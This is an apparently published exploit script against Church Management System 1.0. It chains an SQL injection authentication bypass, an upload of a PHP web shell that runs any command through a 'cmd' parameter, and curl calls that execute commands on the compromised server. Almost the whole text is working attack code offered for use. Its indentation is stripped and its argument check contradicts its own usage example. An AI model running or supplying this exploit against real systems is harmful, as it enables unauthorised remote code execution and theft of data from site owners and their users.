Church Management System 1.0 Shell Upload / SQL Injection

`# Exploit Title: Church Management System 1.0 - SQL Injection (Authentication Bypass) + Arbitrary File Upload + RCE  
# Date: 05-07-2021  
# Exploit Author: Eleonora Guardini (eleguardini93 at gmail dot com or eleonora.guardini at dedagroup dot com)  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html  
# Version: 1.0  
# Tested On: Ubuntu 18.04 with apache2 2.4.29 (Ubuntu)  
  
import requests  
from requests_toolbelt.multipart.encoder import MultipartEncoder  
import random  
import os, sys  
import argparse  
import optparse  
import string  
  
if len(sys.argv)!=5:  
print('Usage: -u http://<ip> -c <"command">')  
print('ex. python3 http://192.168.1.2 -c "ls+-la"')  
exit()  
  
parser = optparse.OptionParser()  
parser.add_option('-u', '--url', action="store", dest="url")  
parser.add_option('-c', '--cmd', action="store", dest="cmd")  
options,args=parser.parse_args()  
  
print(options.url, options.cmd)  
print(len(sys.argv))  
  
def randomGen(size=8, chars=string.ascii_lowercase):  
return ''.join(random.choice(chars) for _ in range(size))  
  
urlbase=options.url+'/cman/admin';  
loginUrl=urlbase+'/index.php';  
  
shellFile=randomGen()+".php"  
  
payload={"username":"test", "password":"' or 'a'='a'#", "login":""};  
  
proxies = { "http": "http://localhost:8080"}  
  
mp_encoder = MultipartEncoder(fields = {  
"image":(shellFile,"<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>","application/x-php"),  
"change":""})  
  
session=requests.Session()  
r=session.post(loginUrl, payload, allow_redirects=False) #, proxies=proxies)  
cookie=r.headers["Set-Cookie"]  
  
headers = {"Cookie": cookie, 'Content-Type':mp_encoder.content_type}  
  
uploadUrl=urlbase+"/admin_pic.php"  
  
post=session.post(uploadUrl, data=mp_encoder, allow_redirects=False, headers=headers, proxies=proxies)  
  
os.system("curl " + urlbase + "/uploads/" + shellFile + "?cmd="+ options.cmd)  
  
`